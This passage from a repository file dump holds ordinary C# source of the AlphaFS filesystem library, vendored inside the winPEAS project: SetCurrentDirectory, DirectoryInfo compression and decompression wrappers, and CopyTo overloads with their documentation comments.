<para>\n      ///   MSDN: Multithreaded applications and shared library code should not use the GetCurrentDirectory function and should avoid using relative path names.\n      ///   The current directory state written by the SetCurrentDirectory function is stored as a global variable in each process,\n      ///   therefore multithreaded applications cannot reliably use this value without possible data corruption from other threads that may also be reading or setting this value.\n      ///   <para>This limitation also applies to the SetCurrentDirectory and GetFullPathName functions. The exception being when the application is guaranteed to be running in a single thread,\n      ///   for example parsing file names from the command line argument string in the main thread prior to creating any additional threads.</para>\n      ///   <para>Using relative path names in multithreaded applications or shared library code can yield unpredictable results and is not supported.</para>\n      /// </para>\n      /// </summary>\n      /// <param name=\"path\">The path to which the current working directory is set.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1062:Validate arguments of public methods\", MessageId = \"0\", Justification = \"Utils.IsNullOrWhiteSpace validates arguments.\")]\n      [SecurityCritical]\n      public static void SetCurrentDirectory(string path, PathFormat pathFormat)\n      {\n         if (Utils.IsNullOrWhiteSpace(path))\n            throw new ArgumentNullException(\"path\");\n\n         var fullCheck = pathFormat == PathFormat.RelativePath;\n         Path.CheckSupportedPathFormat(path, fullCheck, fullCheck);\n         var pathLp = Path.GetExtendedLengthPathCore(null, path, pathFormat, GetFullPathOptions.AddTrailingDirectorySeparator);\n\n         if (pathFormat == PathFormat.FullPath)\n            pathLp = Path.GetRegularPathCore(pathLp, GetFullPathOptions.None, false);\n\n\n         // SetCurrentDirectory()\n         // 2016-09-29: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n         // 2017-05-30: MSDN confirms LongPath usage: Starting with Windows 10, version 1607\n\n         var success = NativeMethods.SetCurrentDirectory(pathLp);\n\n         var lastError = Marshal.GetLastWin32Error();\n         if (!success)\n            NativeError.ThrowException(lastError, pathLp);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Exposes static methods for creating, moving, and enumerating through directories and subdirectories.\n   ///   <para>This class cannot be inherited.</para>\n   /// </summary>\n   [SuppressMessage(\"Microsoft.Maintainability\", \"CA1506:AvoidExcessiveClassCoupling\")]\n   public static partial class Directory\n   {\n      // This file only exists for the documentation.\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Compression/DirectoryInfo.Compress.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      /// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>\n      /// <remarks>This will only compress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [SecurityCritical]\n      public void Compress()\n      {\n         Directory.CompressDecompressCore(Transaction, LongFullName, Path.WildcardStarMatchAll, null, null, true, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public void Compress(DirectoryEnumerationOptions options)\n      {\n         Directory.CompressDecompressCore(Transaction, LongFullName, Path.WildcardStarMatchAll, options, null, true, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Compression/DirectoryInfo.Decompress.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>\n      /// <remarks>This will only decompress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [SecurityCritical]\n      public void Decompress()\n      {\n         Directory.CompressDecompressCore(Transaction, LongFullName, Path.WildcardStarMatchAll, null, null, false, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public void Decompress(DirectoryEnumerationOptions options)\n      {\n         Directory.CompressDecompressCore(Transaction, LongFullName, Path.WildcardStarMatchAll, options, null, false, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Compression/DirectoryInfo.DisableCompression.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      /// <summary>[AlphaFS] Disables compression of the specified directory and the files in it.</summary>\n      /// <remarks>\n      /// This method disables the directory-compression attribute. It will not decompress the current contents of the directory.\n      /// However, newly created files and directories will be uncompressed.\n      /// </remarks>\n      [SecurityCritical]\n      public void DisableCompression()\n      {\n         Device.ToggleCompressionCore(Transaction, true, LongFullName, false, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Compression/DirectoryInfo.EnableCompression.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      /// <summary>[AlphaFS] Enables compression of the specified directory and the files in it.</summary>\n      /// <remarks>\n      /// This method enables the directory-compression attribute. It will not compress the current contents of the directory.\n      /// However, newly created files and directories will be compressed.\n      /// </remarks>\n      [SecurityCritical]\n      public void EnableCompression()\n      {\n         Device.ToggleCompressionCore(Transaction, true, LongFullName, true, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo CopyToMoveTo/DirectoryInfo.CopyTo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      // .NET: Directory class does not contain the Copy() method, so mimic .NET File.Copy() methods.\n\n\n      #region Obsolete\n\n      /// <summary>[AlphaFS] Copies a <see cref=\"DirectoryInfo\"/> instance and its contents to a new path.</summary>\n      /// <returns>Returns a new <see cref=\"DirectoryInfo\"/> instance.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing directory.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      [SecurityCritical]\n      public DirectoryInfo CopyTo(string destinationPath, bool preserveDates)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, preserveDates, CopyOptions.FailIfExists, null, null, null, null, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>Returns a new <see cref=\"DirectoryInfo\"/> instance.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing directory.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      [SecurityCritical]\n      public DirectoryInfo CopyTo(string destinationPath, bool preserveDates, PathFormat pathFormat)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, preserveDates, CopyOptions.FailIfExists, null, null, null, null, out destinationPathLp, pathFormat);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>\n      ///   <para>Returns a new directory, or an overwrite of an existing directory if <paramref name=\"copyOptions\"/> is not <see cref=\"CopyOptions.FailIfExists\"/>.</para>\n      ///   <para>If the directory exists and <paramref name=\"copyOptions\"/> contains <see cref=\"CopyOptions.FailIfExists\"/>, an <see cref=\"IOException\"/> is thrown.</para>\n      /// </returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing directory.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      [SecurityCritical]\n      public DirectoryInfo CopyTo(string destinationPath, CopyOptions copyOptions, bool preserveDates)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, preserveDates, copyOptions, null, null, null, null, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>\n      ///   <para>Returns a new directory, or an overwrite of an existing directory if <paramref name=\"copyOptions\"/> is not <see cref=\"CopyOptions.FailIfExists\"/>.</para>\n      ///   <para>If the directory exists and <paramref name=\"copyOptions\"/> contains <see cref=\"CopyOptions.FailIfExists\"/>, an <see cref=\"IOException\"/> is thrown.</para>\n      /// </returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing directory.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      [SecurityCritical]\n      public DirectoryInfo CopyTo(string destinationPath, CopyOptions copyOptions, bool preserveDates, PathFormat pathFormat)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, preserveDates, copyOptions, null, null, null, null, out destinationPathLp, pathFormat);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, <see cref=\"CopyOptions\"/> can be specified.\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing directory.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      [SecurityCritical]\n      public CopyMoveResult CopyTo(string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         string destinationPathLp;\n\n         var cmr = CopyToMoveToCore(destinationPath, preserveDates, copyOptions, null, null, progressHandler, userProgressData, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return cmr;\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, <see cref=\"CopyOptions\"/> can be specified.\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing directory.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      [SecurityCritical]\n      public CopyMoveResult CopyTo(string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         string destinationPathLp;\n\n         var cmr = CopyToMoveToCore(destinationPath, preserveDates, copyOptions, null, null, progressHandler, userProgressData, out destinationPathLp, pathFormat);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return cmr;\n      }\n      \n      #endregion // Obsolete\n\n\n      /// <summary>[AlphaFS] Copies a <see cref=\"DirectoryInfo\"/> instance and its contents to a new path.</summary>\n      /// <returns>A new <see cref=\"DirectoryInfo\"/> instance if the directory was completely copied.</returns>\n      /// <remarks>\n      ///   <para>Use this method to prevent overwriting of an existing directory by default.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      [SecurityCritical]\n      public DirectoryInfo CopyTo(string destinationPath)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, false, CopyOptions.FailIfExists, null, null, null, null, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies a <see cref=\"DirectoryInfo\"/> instance and its contents to a new path.</summary>\n      /// <returns>A new <see cref=\"DirectoryInfo\"/> instance if the directory was completely copied.</returns>\n      /// <remarks>\n      ///   <para>Use this method to prevent overwriting of an existing directory by default.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public DirectoryInfo CopyTo(string destinationPath, PathFormat pathFormat)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, false, CopyOptions.FailIfExists, null, null, null, null, out destinationPathLp, pathFormat);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n      \n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>\n      ///   <para>Returns a new directory, or an overwrite of an existing directory if <paramref name=\"copyOptions\"/> is not <see cref=\"CopyOptions.FailIfExists\"/>.</para>\n      ///   <para>If the directory exists and <paramref name=\"copyOptions\"/> contains <see cref=\"CopyOptions.FailIfExists\"/>, an <see cref=\"IOException\"/> is thrown.</para>\n      /// </returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing directory.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception 